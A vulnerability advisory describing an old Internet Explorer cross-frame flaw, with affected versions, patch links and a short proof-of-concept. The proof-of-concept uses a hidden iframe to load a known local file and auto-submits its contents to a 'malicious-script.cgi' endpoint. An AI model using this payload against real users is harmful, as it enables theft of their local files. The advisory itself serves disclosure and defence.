BID:1224

Microsoft IE DocumentComplete() Cross Frame Access Vulnerability

Info

Microsoft IE DocumentComplete() Cross Frame Access Vulnerability

Bugtraq ID:	1224
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	Yes
Published:	May 17 2000 12:00AM
Updated:	May 17 2000 12:00AM
Credit:	Discovered by Andrew Nosenko <[email protected]> and publicized in a Microsoft Security Bulletin (MS00-033). Patch update information published in Microsoft Security Bulletin MS01-027 on May 16, 2001.
Vulnerable:	Microsoft Internet Explorer 5.0.1 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP2 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services SP1 - Microsoft Windows 2000 Terminal Services - Microsoft Windows 2000 Terminal Services - Microsoft Windows 2000 Terminal Services - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows 98SE + Microsoft Windows ME + Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP3 Microsoft Internet Explorer 5.5 preview - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft Internet Explorer 5.0 for Windows NT 4 + Microsoft Windows NT 4.0 + Microsoft Windows NT 4.0 Microsoft Internet Explorer 5.0 for Windows 98 + Microsoft Windows 98 + Microsoft Windows 98 Microsoft Internet Explorer 5.0 for Windows 95 + Microsoft Windows 95 + Microsoft Windows 95 Microsoft Internet Explorer 5.0 for Windows 2000 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional Microsoft Internet Explorer 4.0 for Windows NT 4 + Microsoft Windows NT 4.0 + Microsoft Windows NT 4.0 Microsoft Internet Explorer 4.0 for Windows NT 3 - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 3.5.1 Microsoft Internet Explorer 4.0 for Windows 95 + Microsoft Windows 95 + Microsoft Windows 95 Microsoft Internet Explorer 4.0 for Windows 3.1 Microsoft Internet Explorer 4.0 for WfW + Microsoft Windows 3.11 + Microsoft Windows 3.11 Microsoft Internet Explorer 4.0 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 95 + Microsoft Windows 98 + Microsoft Windows 98 + Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6a - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP6 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP5 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP4 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP3 - Microsoft Windows NT Terminal Server 4.0 SP2 - Microsoft Windows NT Terminal Server 4.0 SP2 - Microsoft Windows NT Terminal Server 4.0 SP2 - Microsoft Windows NT Terminal Server 4.0 SP2 - Microsoft Windows NT Terminal Server 4.0 SP1 - Microsoft Windows NT Terminal Server 4.0 SP1 - Microsoft Windows NT Terminal Server 4.0 SP1 - Microsoft Windows NT Terminal Server 4.0 SP1 - Microsoft Windows NT Terminal Server 4.0 alpha - Microsoft Windows NT Terminal Server 4.0 alpha - Microsoft Windows NT Terminal Server 4.0 alpha - Microsoft Windows NT Terminal Server 4.0 alpha - Microsoft Windows NT Terminal Server 4.0 - Microsoft Windows NT Terminal Server 4.0 - Microsoft Windows NT Terminal Server 4.0 - Microsoft Windows NT Terminal Server 4.0 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows NT Workstation 4.0

Not Vulnerable:

Discussion

Microsoft IE DocumentComplete() Cross Frame Access Vulnerability

The DocumentComplete() function in IE does not properly validate origin domains.

Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker.

Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability.

Exploit / POC

Microsoft IE DocumentComplete() Cross Frame Access Vulnerability

The following example illustrates this vulnerability:

<iframe id=clientContent width=0 height=0 noborder>
</iframe>
<script for=clientContent event="DocumentComplete(browser)">
alert (browser.document.body.innerText);

// browser is an instance of the IWebBrowser COM object

document.forms[0].elements[0].value = browser.document.body.innerText;
document.forms[0].submit ();

</script>

<script>
clientContent.navigate("c:\\known_file.txt")
</script>
<form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return
true">
<input name="file_text" type=hidden>
</form>

Solution / Fix

Microsoft IE DocumentComplete() Cross Frame Access Vulnerability

Solution:
Microsoft has released a patch which eliminates all known variants of the vulnerability (Updated May 16, 2001):

http://www.microsoft.com/windows/ie/download/critical/q295106/default.asp

References

Microsoft IE DocumentComplete() Cross Frame Access Vulnerability

References:

Frequently Asked Questions: Microsoft Security Bulletin (MS00-033) (Microsoft)
Frequently Asked Questions: Microsoft Security Bulletin (MS00-093) (Microsoft)
Microsoft Security Bulletin MS01-027 (Microsoft)
Q262509: Patch Available for "Frame Domain Verification," "Unauthorized Cookie A (Microsoft)